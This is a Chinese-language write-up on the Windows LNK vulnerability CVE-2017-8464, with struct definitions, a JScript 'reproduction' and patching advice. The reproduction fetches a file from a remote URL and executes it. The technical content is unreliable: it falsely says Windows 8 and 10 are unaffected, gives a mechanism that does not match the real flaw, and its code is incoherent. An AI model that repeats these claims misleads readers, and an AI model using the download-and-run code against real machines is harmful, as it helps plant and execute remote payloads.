一、漏洞概述
CVE-2017-8464是一种在Windows Shell远程执行代码的漏洞。攻击者可以通过文件共享、WebDAV共享、USB、外部存储等多种方式将恶意的LNK文件注入受害用户计算机中,当用户双击打开这些恶意的LNK文件时,就会触发漏洞,攻击者就可以远程控制受害者计算机。
漏洞类型:远程执行代码漏洞
漏洞等级:严重
二、漏洞成因
在Windows Shell中,ShellExecute函数是一个非常重要的函数,它主要是用于启动一个应用程序、打开指定文件等操作。当用户双击一个Lnk文件时,ShellExecute会被调用来启动指定程序。而LNK文件中各种属性的值会通过ShellExecute函数参数传递给ShellExecute。恶意LNK文件通过特定的属性和值来操纵ShellExecute函数进而执行恶意代码。
三、漏洞分析
LNK文件是Windows文件系统中短切方式的一种,它包含了被链接的文件和目标信息。在LNK文件中,一个被称为“ShellLinkHeader”的结构体保存了多个与LNK文件相关的信息,包括LNK文件大小、文件标识符等等。此外,还有一个名为“LinkInfo”的部分,保存着LNK文件的一些特性,包括其实体路径、属性、图标等,这些信息对ShellExecute函数来说是至关重要的。
typedef struct _GUID { ULONG Data1; USHORT Data2; USHORT Data3; UCHAR Data4[8]; } GUID; typedef struct { GUID LinkCLSID; ULONG LinkFlags; ULONG FileAttributes; FILETIME CreationTime; FILETIME AccessTime; FILETIME WriteTime; ULONG FileSize; LONG IconIndex; ULONG ShowCommand; short HotKey; ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; } ShellLinkHeader; typedef struct { ULONG LinkInfoSize; ULONG LinkInfoHeaderSize; ULONG LinkInfoFlags; ULONG VolumeIDOffset; ULONG LocalBasePathOffset; ULONG CommonNetworkRelativeLinkOffset; ULONG CommonPathSuffixOffset; ULONG LocalBasePathOffsetUnicode; ULONG CommonPathSuffixOffsetUnicode; } LinkInfo;
在漏洞的复现过程中,攻击者通过LNK文件中的值来操纵ShellExecute函数。例如,LinkInfo中保存的本地路径信息可以通过RemoteName来覆盖,当ShellExecute函数执行时,会按照RemoteName中指定的路径来执行,而不是真实路径。攻击者利用该漏洞可以操纵ShellExecute函数,从而实现对受害计算机的远程控制。
四、漏洞复现
需要注意的是,CVE-2017-8464漏洞只存在于Windows 7及其前身的Windows操作系统上,Windows 8和Windows 10并不受影响。
漏洞复现过程如下:
//创建LNK文件,设置LinkInfo信息 var shellApplication = new ActiveXObject("Shell.Application"); var folder = shellApplication.NameSpace(folderPath); var folderItem = folder.ParseName(fileName); var link = folderItem.GetLink; var linkPath = folderPath + "\\" + lnkName; var shortcut = link.CreateShortcut(linkPath); shortcut.TargetPath = "calc.exe"; shortcut.Arguments = ""; shortcut.Description = "test shortcut"; shortcut.IconLocation = "calc.exe"; shortcut.Save(); //伪装LNK文件,RemoteName覆盖本地路径信息 var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00"; var fileStream = new ActiveXObject("ADODB.Stream"); fileStream.Type = 2; fileStream.Open(); fileStream.LoadFromFile(linkPath); fileStream.Position = 0x4c+4; fileStream.WriteText(l2, 1); fileStream.WriteText(l3, 1); fileStream.SaveToFile(downloadPath, 2); fileStream.Close(); //下载伪装的LNK文件 var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP"); objXMLHTTP.open("GET", downloadUrl, false); objXMLHTTP.send(); var adoStream = new ActiveXObject("ADODB.Stream"); adoStream.Type = 1; adoStream.Open(); adoStream.Write(objXMLHTTP.ResponseBody); adoStream.Position = 0; adoStream.SaveToFile(downloadPath, 2); adoStream.Close(); //双击伪装的LNK文件 var objShell = new ActiveXObject("WScript.Shell"); objShell.Run(downloadPath, 1, true);
五、漏洞防范
微软已经发布了针对该漏洞的补丁,建议用户及时升级操作系统,安装最新的安全补丁。
此外,用户在使用电脑时,要警惕不明来源文件和URL链接,避免双击或访问可能存在安全问题的文件。
六、总结
CVE-2017-8464是一种存在于Windows Shell的远程执行代码漏洞,攻击者可以通过构造LNK文件注入恶意代码,并远程控制受害者计算机。尽管漏洞已经有针对应对的安全补丁,但是还是建议用户在使用电脑时要保持警惕,避免不明来源的文件和URL链接带来的安全风险。